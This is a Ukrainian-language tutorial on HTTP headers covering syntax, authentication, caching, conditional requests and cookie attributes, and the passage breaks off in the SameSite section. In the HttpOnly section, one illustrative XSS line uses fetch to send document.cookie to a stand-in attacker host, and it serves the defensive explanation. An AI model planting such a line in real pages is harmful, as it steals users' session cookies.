Протокол HTTP та захищена передача даних HTTPS

HTTP-заголовки та їхнє призначення

HTTP-заголовки та їхнє призначення

🎯 Мета розділу

  • Опанувати структуру та синтаксис HTTP-заголовків.
  • Зрозуміти призначення основних категорій заголовків (загальні, запитів, відповідей, сутності).
  • Навчитися налаштовувати кешування через заголовки Cache-Control, ETag, Last-Modified.
  • Засвоїти механізми автентифікації та авторизації через заголовки.
  • Розібратися з Content Negotiation (узгодження вмісту) та CORS-заголовками.

🔑 Ключові терміни

  • HTTP Header — пара "ім'я: значення", що передає метадані про запит або відповідь.
  • Request Headers — заголовки, що надсилає клієнт (User-Agent, Accept, Authorization).
  • Response Headers — заголовки, що повертає сервер (Server, Set-Cookie, Location).
  • Entity Headers — описують тіло повідомлення (Content-Type, Content-Length, Content-Encoding).
  • Cache Control — механізм керування кешуванням через заголовки.
  • Content Negotiation — процес узгодження формату відповіді між клієнтом та сервером.

Структура та синтаксис HTTP-заголовків

HTTP-заголовки є метаданими, що супроводжують запит або відповідь. Кожен заголовок має формат:

Header-Name: Header-Value

Базові правила синтаксису

  1. Регістр імені: Імена заголовків нечутливі до регістру, але прийнято використовувати Kebab-Case (кожне слово з великої літери, розділені дефісом):
    Content-Type: application/json
    content-type: application/json  ← також валідно
    CONTENT-TYPE: application/json  ← валідно, але не рекомендовано
    
  2. Пробіли: Після двокрапки може бути необов'язковий пробіл (зазвичай один):
    Host: example.com
    Host:example.com    ← валідно, але погано читається
    
  3. Множинні значення: Деякі заголовки можуть мати кілька значень, розділених комами:
    Accept: text/html, application/json, */*
    Accept-Encoding: gzip, deflate, br
    
  4. Множинні заголовки з однаковим ім'ям: Деякі заголовки можуть повторюватися:
    Set-Cookie: sessionId=abc123; HttpOnly
    Set-Cookie: theme=dark; Max-Age=86400
    
  5. Порожнє значення: Заголовок може мати порожнє значення:
    Accept-Encoding:
    
  6. Перенесення рядків (застаріле): У HTTP/1.1 дозволялося переносити довгі заголовки, починаючи наступний рядок з пробілу або табуляції (у HTTP/2 заборонено):
    Subject: This is a very long header value
     that continues on the next line
    

Приклад RAW HTTP-запиту з заголовками

GET /api/v1/users/42 HTTP/1.1
Host: api.example.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7)
Accept: application/json, text/plain, */*
Accept-Language: uk-UA, en-US;q=0.9, en;q=0.8
Accept-Encoding: gzip, deflate, br
Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...
Cache-Control: no-cache
Connection: keep-alive
Referer: https://example.com/dashboard

Пояснення:

  • Host — обов'язковий у HTTP/1.1, вказує домен сервера.
  • User-Agent — ідентифікує клієнта (браузер, ОС).
  • Accept — формати, які приймає клієнт.
  • Accept-Language — мови, що віддаються перевагою (з пріоритетами через q).
  • Accept-Encoding — підтримувані методи стиснення.
  • Authorization — токен автентифікації.
  • Cache-Control — вимога не використовувати кеш.
  • Connection — утримувати з'єднання відкритим.
  • Referer — URL сторінки, з якої прийшов запит.

Класифікація HTTP-заголовків

HTTP-заголовки можна класифікувати за контекстом використання або призначенням:

Класифікація за контекстом

КатегоріяОписПриклади
General HeadersЗастосовуються до запиту та відповіді, але не до тілаDate, Connection, Cache-Control
Request HeadersЗаголовки, що надсилає клієнтHost, User-Agent, Accept, Authorization
Response HeadersЗаголовки, що повертає серверServer, Set-Cookie, Location, Retry-After
Entity HeadersОписують тіло повідомленняContent-Type, Content-Length, Content-Encoding
У HTTP/2 та HTTP/3 деякі заголовки були замінені псевдо-заголовками (починаються з :), наприклад :method, :path, :status. Проте HTTP/1.1 заголовки залишаються основою розуміння протоколу.

Класифікація за призначенням

ПризначенняОписПриклади
АвтентифікаціяІдентифікація та перевірка клієнтаAuthorization, WWW-Authenticate, Proxy-Authorization
КешуванняКерування кешем клієнта та проксіCache-Control, ETag, Last-Modified, Expires
Умовні запитиЗапит ресурсу лише при певних умовахIf-None-Match, If-Modified-Since, If-Match
Content NegotiationУзгодження формату відповідіAccept, Accept-Language, Accept-Encoding, Content-Type
CookiesУправління станом через cookiesSet-Cookie, Cookie
CORSКонтроль міждоменних запитівAccess-Control-Allow-Origin, Origin
БезпекаЗахист від атакStrict-Transport-Security, Content-Security-Policy
Проксі та шлюзиІнформація про проксі-сервериVia, X-Forwarded-For, Forwarded

Основні заголовки запитів (Request Headers)

Заголовки запитів надсилає клієнт до сервера для передачі інформації про себе, свої можливості та побажання щодо відповіді.

Host — Цільовий домен

Призначення: Вказує домен та порт сервера, до якого надсилається запит. Обов'язковий у HTTP/1.1.

Чому обов'язковий: Один IP-сервер може обслуговувати кілька доменів (virtual hosting). Заголовок Host дозволяє серверу визначити, який сайт запитує клієнт.

Приклад:

GET /api/users HTTP/1.1
Host: api.example.com

Якщо використовується нестандартний порт:

GET /api/users HTTP/1.1
Host: api.example.com:8080

User-Agent — Ідентифікація клієнта

Призначення: Ідентифікує клієнтський додаток (браузер, мобільний застосунок, бот), включаючи версію, ОС, рушій рендерингу.

Приклад (Chrome на macOS):

GET / HTTP/1.1
Host: example.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36

Приклад (мобільний застосунок):

GET /api/v1/posts HTTP/1.1
User-Agent: MyApp/2.5.0 (iOS 17.0; iPhone14,5) CFNetwork/1408.0.4

Використання сервером:

  • Аналітика: визначення популярних браузерів та пристроїв.
  • Адаптивний контент: відправка спрощеної версії для старих браузерів.
  • Блокування ботів: фільтрація зловмисних краулерів.
Privacy-сoncerns:
User-Agent може використовуватися для фінгерпринтингу (ідентифікації користувача без cookies). Сучасні браузери рухаються до User-Agent reduction — спрощення рядка для захисту приватності.

Accept — Бажаний формат відповіді

Призначення: Вказує MIME-типи, які клієнт може обробити. Сервер використовує цю інформацію для вибору формату відповіді (Content Negotiation).

Синтаксис:

Accept: type/subtype, type/subtype;q=quality

Параметр q (quality) вказує пріоритет від 0 до 1 (за замовчуванням 1).

Приклад 1: Клієнт віддає перевагу JSON

GET /api/v1/products HTTP/1.1
Accept: application/json, application/xml;q=0.9, text/html;q=0.8, */*;q=0.1

Інтерпретація:

  • application/json (q=1.0 за замовчуванням) — найвища перевага.
  • application/xml (q=0.9) — прийнятно, якщо JSON недоступний.
  • text/html (q=0.8) — низька перевага.
  • */* (q=0.1) — будь-який інший формат як крайній варіант.

Приклад 2: Браузер запитує HTML

GET /about HTTP/1.1
Accept: text/html, application/xhtml+xml, application/xml;q=0.9, image/webp, */*;q=0.8

Відповідь сервера:

HTTP/1.1 200 OK
Content-Type: application/json; charset=utf-8

{"id":42,"name":"Product"}

Якщо сервер не може надати жодного прийнятного формату:

HTTP/1.1 406 Not Acceptable
Content-Type: application/json

{"error":"Not Acceptable","message":"Server supports only application/json"}

Accept-Language — Бажана мова контенту

Призначення: Вказує мову, яку віддає перевагу клієнт. Сервер може повернути локалізований контент.

Приклад:

GET /news HTTP/1.1
Accept-Language: uk-UA, uk;q=0.9, en-US;q=0.8, en;q=0.7

Інтерпретація:

  • uk-UA (українська, Україна) — найвища перевага.
  • uk (українська, будь-який регіон) — q=0.9.
  • en-US (англійська, США) — q=0.8.
  • en (англійська, будь-який регіон) — q=0.7.

Відповідь сервера:

HTTP/1.1 200 OK
Content-Language: uk-UA
Content-Type: text/html; charset=utf-8

<!DOCTYPE html>
<html lang="uk">
<head><title>Новини</title></head>
...

Accept-Encoding — Підтримувані методи стиснення

Призначення: Вказує алгоритми стиснення, які підтримує клієнт. Сервер може стиснути відповідь для економії пропускної здатності.

Приклад:

GET /api/v1/large-dataset HTTP/1.1
Accept-Encoding: gzip, deflate, br

Підтримувані алгоритми:

  • gzip — найпоширеніший, баланс між стисненням та швидкістю.
  • deflate — застарілий, рідко використовується.
  • br (Brotli) — сучасний, кращий коефіцієнт стиснення, особливо для тексту.
  • compress — застарілий, не рекомендується.
  • identity — без стиснення (за замовчуванням).

Відповідь сервера (зі стисненням):

HTTP/1.1 200 OK
Content-Type: application/json
Content-Encoding: br
Content-Length: 1234
Vary: Accept-Encoding

[Brotli-стиснуті дані]

Заголовок Vary: Accept-Encoding вказує, що відповідь залежить від заголовка запиту — важливо для коректного кешування проксі.

Економія трафіку:
Текстові формати (JSON, HTML, CSS, JavaScript) дуже добре стискаються (до 70-90% зменшення розміру). Завжди вмикайте Accept-Encoding: gzip, br у клієнтах. Бінарні формати (зображення JPEG/PNG, відео) вже стиснуті та не потребують Content-Encoding.

Authorization — Автентифікація клієнта

Призначення: Передає облікові дані клієнта для автентифікації на сервері.

Схеми автентифікації:

1. Basic Authentication (застаріла, небезпечна без HTTPS)

GET /api/v1/users/me HTTP/1.1
Authorization: Basic dXNlcm5hbWU6cGFzc3dvcmQ=

Значення після Basic — це Base64-кодування рядка username:password:

echo -n "username:password" | base64
# Результат: dXNlcm5hbWU6cGFzc3dvcmQ=
Небезпека Basic Auth:
Base64 — це НЕ шифрування, а лише кодування. Будь-хто, хто перехопить трафік, може декодувати і отримати логін та пароль. Використовуйте Basic Auth лише через HTTPS або ніколи.

2. Bearer Token (JWT, OAuth 2.0)

Найпоширеніший сучасний метод. Токен (зазвичай JWT) передається у заголовку:

GET /api/v1/orders HTTP/1.1
Host: api.example.com
Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiI0MiIsIm5hbWUiOiJKb2huIERvZSIsImlhdCI6MTY5MzMxNTIwMCwiZXhwIjoxNjkzMzE4ODAwfQ.SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5c

Структура JWT: три частини, розділені крапками:

  1. Header (алгоритм та тип): eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9
  2. Payload (дані користувача): eyJzdWIiOiI0MiIsIm5hbWUi...
  3. Signature (підпис): SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5c

Сервер перевіряє підпис, щоб переконатися, що токен не підроблений.

3. API Key

Деякі API використовують власний заголовок для ключа:

GET /api/v1/weather HTTP/1.1
Host: weather-api.example.com
X-API-Key: abc123def456ghi789

Або у стандартному заголовку:

Authorization: ApiKey abc123def456ghi789

Referer — URL попередньої сторінки

Призначення: Вказує URL сторінки, з якої користувач перейшов за поточним посиланням.

Приклад:

GET /products/laptop-xyz HTTP/1.1
Host: shop.example.com
Referer: https://shop.example.com/search?q=laptop

Використання:

  • Аналітика: визначення джерел трафіку.
  • Безпека: захист від CSRF-атак (перевірка, що запит прийшов з того самого сайту).
  • A/B тестування: відстеження переходів між варіантами.
Помилка у назві:
Правильно англійською було б "Referrer" (з подвійною 'r'), але у специфікації HTTP допущено помилку — заголовок називається Referer. Це історична помилка, яка залишилася у стандарті.
Privacy concerns:
Referer може розкривати чутливу інформацію (наприклад, повний URL з параметрами сесії). Сучасні браузери та сайти використовують Referrer Policy для контролю, скільки інформації передається:
Referrer-Policy: no-referrer
Referrer-Policy: same-origin
Referrer-Policy: strict-origin-when-cross-origin

Призначення: Надсилає cookies, збережені браузером для цього домену. Детальніше про cookies у наступному підрозділі.

Приклад:

GET /dashboard HTTP/1.1
Host: app.example.com
Cookie: sessionId=abc123xyz; theme=dark; language=uk

Range — Часткове завантаження

Призначення: Запитує частину ресурсу (часткове завантаження). Використовується для великих файлів, відновлення перерваного завантаження, streaming відео.

Приклад 1: Завантаження перших 1 МБ файлу

GET /videos/movie.mp4 HTTP/1.1
Host: cdn.example.com
Range: bytes=0-1048575

Відповідь:

HTTP/1.1 206 Partial Content
Content-Type: video/mp4
Content-Range: bytes 0-1048575/524288000
Content-Length: 1048576
Accept-Ranges: bytes

[1 МБ даних]

Приклад 2: Відновлення завантаження (вже завантажено 10 МБ)

GET /files/large-archive.zip HTTP/1.1
Range: bytes=10485760-

Сервер поверне дані, починаючи з 10 МБ до кінця файлу.


Основні заголовки відповідей (Response Headers)

Заголовки відповідей надсилає сервер клієнту для передачі метаданих про відповідь та інструкцій клієнту.

Server — Інформація про сервер

Призначення: Ідентифікує програмне забезпечення сервера.

Приклад:

HTTP/1.1 200 OK
Server: nginx/1.25.0
Content-Type: text/html

Інші приклади:

Server: Apache/2.4.57 (Ubuntu)
Server: cloudflare
Server: Microsoft-IIS/10.0
Безпека:
Розкриття версії сервера може допомогти зловмисникам знайти відомі вразливості. У продакшн-середовищах рекомендується приховувати або узагальнювати значення Server:
Server: WebServer  (замість Server: nginx/1.25.0)

Призначення: Сервер встановлює cookie у браузері клієнта. Детальний розгляд у підрозділі про Cookies.

Приклад:

HTTP/1.1 200 OK
Set-Cookie: sessionId=abc123; HttpOnly; Secure; SameSite=Strict; Max-Age=3600; Path=/
Set-Cookie: theme=dark; Max-Age=31536000; Path=/

Location — Адреса перенаправлення або нового ресурсу

Призначення: Вказує URL для перенаправлення (3xx) або адресу новоствореного ресурсу (201).

Приклад 1: Перенаправлення (301)

HTTP/1.1 301 Moved Permanently
Location: https://www.example.com/new-page
Content-Length: 0

Приклад 2: Створення ресурсу (201)

HTTP/1.1 201 Created
Location: https://api.example.com/api/v1/users/125
Content-Type: application/json

{"id":125,"email":"new@example.com"}

Retry-After — Коли повторити запит

Призначення: Вказує клієнту, через скільки часу можна повторити запит. Використовується з кодами 429 (Too Many Requests), 503 (Service Unavailable).

Формат 1: Секунди

HTTP/1.1 429 Too Many Requests
Retry-After: 120
Content-Type: application/json

{"error":"Rate limit exceeded. Try again in 2 minutes."}

Формат 2: Дата та час

HTTP/1.1 503 Service Unavailable
Retry-After: Sat, 29 Aug 2026 15:00:00 GMT
Content-Type: application/json

{"error":"Maintenance in progress. Service will resume at 15:00 UTC."}

Content-Type — Тип вмісту відповіді

Призначення: Вказує MIME-тип тіла відповіді та кодування символів.

Приклад 1: JSON

HTTP/1.1 200 OK
Content-Type: application/json; charset=utf-8

{"id":42,"name":"Product"}

Приклад 2: HTML

HTTP/1.1 200 OK
Content-Type: text/html; charset=utf-8

<!DOCTYPE html>
<html>...

Приклад 3: Бінарний файл (зображення)

HTTP/1.1 200 OK
Content-Type: image/jpeg
Content-Length: 45678

[JPEG бінарні дані]

Популярні MIME-типи:

MIME-типОпис
text/htmlHTML-документ
text/cssCSS-стилі
text/javascriptJavaScript-код
application/jsonJSON-дані
application/xmlXML-документ
application/pdfPDF-файл
image/jpeg, image/png, image/webpЗображення
video/mp4Відео MP4
audio/mpegАудіо MP3
application/octet-streamБінарні дані (невизначений тип)
multipart/form-dataФорма з файлами

Content-Length — Розмір тіла

Призначення: Вказує розмір тіла відповіді у байтах.

Приклад:

HTTP/1.1 200 OK
Content-Type: application/json
Content-Length: 187

{"id":42,"email":"john@example.com","firstName":"John","lastName":"Doe","role":"user","createdAt":"2026-01-15T10:00:00Z"}

Використання:

  • Клієнт знає, скільки даних очікувати.
  • Можливість відображення прогресу завантаження.
  • Обов'язковий для деяких HTTP-клієнтів та проксі.
Transfer-Encoding: chunked:
Якщо розмір відповіді невідомий заздалегідь (наприклад, streaming), використовується Transfer-Encoding: chunkedзамістьContent-Length. Дані передаються частинами (chunks).

Content-Encoding — Метод стиснення

Призначення: Вказує алгоритм стиснення, застосований до тіла відповіді.

Приклад:

HTTP/1.1 200 OK
Content-Type: text/html; charset=utf-8
Content-Encoding: gzip
Content-Length: 4567

[gzip-стиснуті дані HTML]

Браузер автоматично розпаковує дані перед використанням.

ETag — Ідентифікатор версії ресурсу

Призначення: Унікальний ідентифікатор конкретної версії ресурсу. Використовується для умовних запитів та оптимістичної блокування.

Формати:

  • Сильний ETag (порівнюються байт-у-байт): ETag: "version-42-abc123"
  • Слабкий ETag (незначні відмінності допустимі): ETag: W/"version-42"

Приклад: Перший запит

GET /api/v1/products/42 HTTP/1.1

Відповідь:

HTTP/1.1 200 OK
Content-Type: application/json
ETag: "product-v5-hash789"
Cache-Control: max-age=0, must-revalidate

{"id":42,"name":"Laptop","price":29999}

Умовний запит (наступного разу):

GET /api/v1/products/42 HTTP/1.1
If-None-Match: "product-v5-hash789"

Відповідь (ресурс не змінився):

HTTP/1.1 304 Not Modified
ETag: "product-v5-hash789"
Cache-Control: max-age=0, must-revalidate

Тіло порожнє — браузер використовує закешовані дані.

Last-Modified — Дата останньої модифікації

Призначення: Вказує, коли ресурс був востаннє змінений. Використовується для умовних запитів.

Приклад: Перший запит

GET /documents/report.pdf HTTP/1.1

Відповідь:

HTTP/1.1 200 OK
Content-Type: application/pdf
Last-Modified: Wed, 15 Aug 2026 10:00:00 GMT
Cache-Control: public, max-age=3600
Content-Length: 1048576

[PDF дані]

Умовний запит:

GET /documents/report.pdf HTTP/1.1
If-Modified-Since: Wed, 15 Aug 2026 10:00:00 GMT

Відповідь (не змінювався):

HTTP/1.1 304 Not Modified
Last-Modified: Wed, 15 Aug 2026 10:00:00 GMT
ETag vs Last-Modified:
  • ETag — точніший (базується на хеші або версії), але потребує обчислень.
  • Last-Modified — простіший (timestamp), але менш точний (точність до секунди, не враховує зміни у метаданих).
    Краща практика: використовувати обидва. Клієнт надсилає If-None-Match та If-Modified-Since, сервер перевіряє обидва.

Access-Control-Allow-Origin — CORS-дозвіл (детально у наступному розділі)

Призначення: Вказує, які домени мають доступ до ресурсу у міждоменних запитах (CORS).

Приклад 1: Дозвіл конкретному домену

HTTP/1.1 200 OK
Access-Control-Allow-Origin: https://frontend.example.com
Access-Control-Allow-Credentials: true
Content-Type: application/json

{"data":"..."}

Приклад 2: Дозвіл усім доменам (публічне API)

HTTP/1.1 200 OK
Access-Control-Allow-Origin: *
Content-Type: application/json

{"data":"..."}

Механізми кешування через заголовки

Кешування є критично важливим для продуктивності веб-застосунків, зменшення навантаження на сервер та економії пропускної здатності. HTTP надає потужні механізми керування кешем через заголовки.

Cache-Control — Головний заголовок кешування

Призначення: Визначає політику кешування для ресурсу. Застосовується як у запиті, так і у відповіді.

Синтаксис:

Cache-Control: директива1, директива2, директива3

Директиви Cache-Control у відповіді

1. public — Кешування дозволено всім (включно з проксі)

HTTP/1.1 200 OK
Cache-Control: public, max-age=86400
Content-Type: image/jpeg

[зображення логотипу]

Ресурс можна кешувати на клієнті, CDN, проксі-серверах.

2. private — Кешування лише у браузері (не на проксі)

HTTP/1.1 200 OK
Cache-Control: private, max-age=3600
Content-Type: application/json

{"email":"user@example.com","personalData":"..."}

Використовується для персоналізованих даних, які не повинні кешуватися на проміжних серверах.

3. no-cache — Перевіряти з сервером перед використанням кешу

HTTP/1.1 200 OK
Cache-Control: no-cache
ETag: "version-5"

Ресурс можна кешувати, але перед використанням браузер повинен перевірити з сервером (умовний запит з If-None-Match), чи не змінився ресурс.

4. no-store — Заборона кешування взагалі

HTTP/1.1 200 OK
Cache-Control: no-store
Content-Type: application/json

{"creditCard":"1234-5678-9012-3456"}

Використовується для чутливих даних (банківська інформація, паролі, токени). Браузер не зберігає відповідь ні у кеші, ні на диску.

5. max-age=<секунди> — Час актуальності у секундах

HTTP/1.1 200 OK
Cache-Control: public, max-age=31536000
Content-Type: application/javascript

/* Файл з версією у назві: app.v5.js */

Ресурс вважається актуальним протягом 31 536 000 секунд (1 рік). Після цього браузер повинен запитати свіжу версію.

6. s-maxage=<секунди> — Час актуальності для shared-кешів (CDN, проксі)

Cache-Control: public, max-age=3600, s-maxage=86400
  • Браузери: кешують на 1 годину (max-age=3600).
  • CDN/проксі: кешують на 1 день (s-maxage=86400).

7. must-revalidate — Обов'язкова перевірка після закінчення max-age

Cache-Control: public, max-age=3600, must-revalidate
ETag: "content-hash-xyz"

Після закінчення 1 години браузер обов'язково повинен перевірити з сервером, навіть якщо з'єднання повільне.

8. immutable — Ресурс ніколи не зміниться

HTTP/1.1 200 OK
Cache-Control: public, max-age=31536000, immutable
Content-Type: text/css

/* Файл з хешем: styles.a3f2b9d.css */

Навіть при оновленні сторінки (F5) браузер не перевіряє цей ресурс з сервером. Використовується для версійованих статичних файлів (з хешем або версією у назві).

Комбінації директив для різних сценаріїв

Сценарій 1: Статичні файли з версією (CSS, JS, шрифти, зображення)

Cache-Control: public, max-age=31536000, immutable

Кешувати назавжди. При зміні файлу змінюється його назва (через хеш).

Сценарій 2: HTML-сторінка (потрібна актуальність)

Cache-Control: no-cache, must-revalidate
ETag: "html-v42"

Завжди перевіряти з сервером, але використовувати 304 для економії трафіку.

Сценарій 3: API-відповідь (дані можуть змінюватися)

Cache-Control: private, max-age=300, must-revalidate
ETag: "data-hash-xyz"

Кешувати на 5 хвилин, потім обов'язково перевірити.

Сценарій 4: Публічні дані (можна кешувати на CDN)

Cache-Control: public, max-age=3600, s-maxage=86400, stale-while-revalidate=60
  • Браузери: 1 година.
  • CDN: 1 день.
  • Якщо закінчився час, використовувати старі дані протягом 60 секунд, поки оновлюються у фоні.

Сценарій 5: Чутливі дані (без кешування)

Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Expires: 0

Жодного кешування для банківських даних, медичних записів, особистої інформації.

Директиви Cache-Control у запиті

Клієнт також може використовувати Cache-Control для контролю кешування:

1. no-cache — Запитати свіжу версію (hard refresh)

GET /api/v1/products HTTP/1.1
Cache-Control: no-cache

Навіть якщо є кешована версія, запитати з сервера.

2. max-age=0 — Перевірити актуальність

GET /page HTTP/1.1
Cache-Control: max-age=0

Аналогічно no-cache.

3. only-if-cached — Використовувати лише кеш

GET /data HTTP/1.1
Cache-Control: only-if-cached

Якщо немає у кеші, повернути помилку (504), не звертаючись до сервера.

Expires — Застаріла альтернатива max-age

Призначення: Вказує абсолютну дату та час, після якого ресурс вважається застарілим.

Приклад:

HTTP/1.1 200 OK
Expires: Sun, 29 Aug 2027 14:00:00 GMT
Content-Type: image/png
Пріоритет:
Якщо присутні обидва (Cache-Control: max-age та Expires), Cache-Control має вищий пріоритет. Expires залишається для сумісності зі старими клієнтами.
Проблема Expires:
Залежить від годинника клієнта. Якщо годинник неправильно налаштований, кешування працюватиме некоректно. Тому Cache-Control: max-age є кращим вибором (відносний час).

Pragma — Застарілий заголовок (HTTP/1.0)

Призначення: У HTTP/1.0 використовувався для відключення кешування.

Приклад:

Cache-Control: no-cache
Pragma: no-cache

Залишається лише для зворотної сумісності зі старими проксі.

Умовні запити для ефективного кешування

Умовні запити дозволяють економити трафік, запитуючи повні дані лише якщо ресурс змінився.

If-None-Match + ETag

Приклад повного циклу:

1. Перший запит (кеш порожній)

GET /api/v1/users/42 HTTP/1.1
Host: api.example.com

Відповідь (200 OK з ETag)

HTTP/1.1 200 OK
Content-Type: application/json
ETag: "user-v3-hash789"
Cache-Control: private, max-age=300

{"id":42,"name":"John","email":"john@example.com"}

Браузер зберігає у кеші на 5 хвилин.

2. Запит через 6 хвилин (кеш застарів)

GET /api/v1/users/42 HTTP/1.1
If-None-Match: "user-v3-hash789"

Відповідь A (дані не змінилися — 304)

HTTP/1.1 304 Not Modified
ETag: "user-v3-hash789"
Cache-Control: private, max-age=300

Браузер використовує закешовані дані, не завантажуючи тіло знову. Економія: ~80% трафіку.

Відповідь B (дані оновилися — 200 OK)

HTTP/1.1 200 OK
Content-Type: application/json
ETag: "user-v4-hash012"
Cache-Control: private, max-age=300

{"id":42,"name":"John Doe","email":"john.doe@example.com","updatedAt":"2026-08-29T14:00:00Z"}

Браузер отримує нові дані та оновлює кеш.

If-Modified-Since + Last-Modified

Аналогічний механізм, але базується на даті модифікації:

1. Перший запит

GET /images/logo.png HTTP/1.1

Відповідь

HTTP/1.1 200 OK
Content-Type: image/png
Last-Modified: Mon, 01 Aug 2026 08:00:00 GMT
Cache-Control: public, max-age=86400
Content-Length: 45678

[PNG дані]

2. Умовний запит (через день)

GET /images/logo.png HTTP/1.1
If-Modified-Since: Mon, 01 Aug 2026 08:00:00 GMT

Відповідь (не змінювався)

HTTP/1.1 304 Not Modified
Last-Modified: Mon, 01 Aug 2026 08:00:00 GMT
Cache-Control: public, max-age=86400

If-Match — Оптимістична блокування (Optimistic Locking)

Призначення: Виконати операцію (PUT/PATCH/DELETE) лише якщо ресурс має вказаний ETag (не був змінений іншим користувачем).

Сценарій: Два користувачі редагують документ

Користувач A: Отримує документ

GET /api/v1/documents/42 HTTP/1.1

Відповідь

HTTP/1.1 200 OK
ETag: "doc-v5"
Content-Type: application/json

{"id":42,"title":"Report","content":"...","version":5}

Користувач B: Отримує той самий документ (одночасно)

GET /api/v1/documents/42 HTTP/1.1

Відповідь (та сама версія)

HTTP/1.1 200 OK
ETag: "doc-v5"
...

Користувач A: Зберігає зміни (перший)

PUT /api/v1/documents/42 HTTP/1.1
If-Match: "doc-v5"
Content-Type: application/json

{"title":"Updated Report","content":"new content"}

Відповідь (успіх)

HTTP/1.1 200 OK
ETag: "doc-v6"

{"id":42,"title":"Updated Report","version":6}

Користувач B: Намагається зберегти свої зміни (пізніше)

PUT /api/v1/documents/42 HTTP/1.1
If-Match: "doc-v5"
Content-Type: application/json

{"title":"Another Update","content":"different content"}

Відповідь (конфлікт — версія вже не v5, а v6)

HTTP/1.1 412 Precondition Failed
ETag: "doc-v6"
Content-Type: application/json

{"error":"Precondition Failed","message":"Document was modified by another user. Current version: 6, your version: 5. Please reload and try again."}

Користувач B повинен перезавантажити документ, об'єднати зміни та повторити збереження.

Переваги Optimistic Locking:
  • Немає блокування ресурсу на час редагування.
  • Висока паралельність — кілька користувачів можуть редагувати одночасно.
  • Конфлікти виявляються лише при збереженні.
  • Ідеально для веб-застосунків (де неможливо утримувати блокування через HTTP).

Vary — Варіації кешованих відповідей

Призначення: Вказує, які заголовки запиту впливають на відповідь. Проксі та CDN використовують це для кешування кількох варіантів одного ресурсу.

Приклад 1: Vary за Accept-Encoding

HTTP/1.1 200 OK
Content-Type: text/html
Content-Encoding: gzip
Vary: Accept-Encoding
Cache-Control: public, max-age=3600

CDN кешує окремі версії для клієнтів з Accept-Encoding: gzip та без нього.

Приклад 2: Vary за Accept-Language (мультимовний сайт)

HTTP/1.1 200 OK
Content-Type: text/html
Content-Language: uk
Vary: Accept-Language
Cache-Control: public, max-age=3600

CDN кешує українську, англійську, польську версії окремо.

Приклад 3: Vary за User-Agent (мобільна/десктопна версія)

Vary: User-Agent

Приклад 4: Vary за кількома заголовками

Vary: Accept-Encoding, Accept-Language, User-Agent
Обережно з Vary:
Кожна комбінація значень створює окрему запис у кеші. Vary: User-Agent може створити сотні варіантів (для кожного браузера/версії). Це знижує ефективність кешування CDN. Використовуйте обережно.

Cookies — Механізм збереження стану

HTTP є stateless-протоколом — кожен запит незалежний, сервер не "пам'ятає" попередніх запитів. Cookies вирішують цю проблему, дозволяючи зберігати стан між запитами.

Cookie — це невеликий фрагмент даних (до 4 КБ), який сервер надсилає клієнту через заголовок Set-Cookie. Браузер зберігає cookie та автоматично надсилає його у наступних запитах до цього домену через заголовок Cookie.

1. Сервер встановлює cookie (Set-Cookie)

HTTP/1.1 200 OK
Set-Cookie: sessionId=abc123xyz456; HttpOnly; Secure; SameSite=Strict; Path=/; Max-Age=3600
Set-Cookie: theme=dark; Path=/; Max-Age=31536000
Content-Type: text/html

<!DOCTYPE html>
<html>...

2. Браузер зберігає cookies

Браузер зберігає обидві cookies у своєму сховищі.

3. Браузер автоматично надсилає cookies у наступних запитах

GET /dashboard HTTP/1.1
Host: app.example.com
Cookie: sessionId=abc123xyz456; theme=dark

4. Сервер використовує cookies для ідентифікації

Сервер розпізнає користувача за sessionId, завантажує дані сесії з бази/Redis та повертає персоналізований контент.

Базовий синтаксис

Set-Cookie: name=value; атрибут1; атрибут2=значення; ...

Max-Age=<секунди> — відносний час життя (рекомендовано):

Set-Cookie: sessionId=abc123; Max-Age=3600

Cookie буде видалено через 3600 секунд (1 годину).

Expires=<дата> — абсолютна дата видалення (застаріле):

Set-Cookie: sessionId=abc123; Expires=Sat, 29 Aug 2026 15:00:00 GMT

Без Max-Age та Expiressession cookie (видаляється при закритті браузера):

Set-Cookie: tempData=xyz
Set-Cookie: userId=42; Domain=example.com

Cookie буде надсилатися на:

  • example.com
  • www.example.com
  • api.example.com
  • subdomain.example.com

Без Domain:
Cookie діє лише для точного домену (без субдоменів):

Set-Cookie: data=value

Якщо встановлено на app.example.com, не буде надсилатися на api.example.com.

Безпека Domain:
Не можна встановити cookie для домену верхнього рівня (.com, .ua) або чужого домену (google.com з example.com).
Set-Cookie: cartId=xyz789; Path=/shop

Cookie надсилається лише для URL, що починаються з /shop:

  • /shop
  • /shop/products
  • /shop/cart/checkout
  • /about

За замовчуванням: Path=/ (для всіх шляхів).

Secure — Тільки через HTTPS

Set-Cookie: sessionId=abc123; Secure

Cookie буде надсилатися лише через HTTPS. Захист від перехоплення у незахищених мережах (публічний Wi-Fi).

Обов'язково для продакшн:
Усі cookies з чутливими даними (sessionId, токени) повинні мати атрибут Secure. Без нього cookies передаються через HTTP у відкритому вигляді.

HttpOnly — Заборона доступу з JavaScript

Set-Cookie: sessionId=abc123; HttpOnly

Cookie недоступне через document.cookie у JavaScript. Захист від XSS-атак (Cross-Site Scripting).

Без HttpOnly:

// Зловмисний скрипт може вкрасти cookie
fetch('https://attacker.com/steal?cookie=' + document.cookie);

З HttpOnly:

console.log(document.cookie);
// Виведе: "theme=dark" (sessionId не видно)
Правило:
Усі cookies з автентифікаційними даними (session ID, JWT) повинні мати HttpOnly. Cookies для UI-налаштувань (тема, мова) можуть бути без нього.

SameSite — Захист від CSRF-атак

Контролює, чи надсилати cookie у міждоменних запитах (cross-site requests).

Значення:

  1. SameSite=Strict — найсуворіший
    Set-Cookie: sessionId=abc123; SameSite=Strict
    

    Cookie надсилається лише у запитах з того самого домену. Захищає від CSRF, але погіршує UX.
    Приклад:
    Користувач натискає посилання https://example.com/dashboard з email → cookie НЕ надсилається (різні домени: email-клієнт vs example.com) → користувач побачить сторінку як неавторизований.
  2. SameSite=Lax — баланс (за замовчуванням у сучасних браузерах)
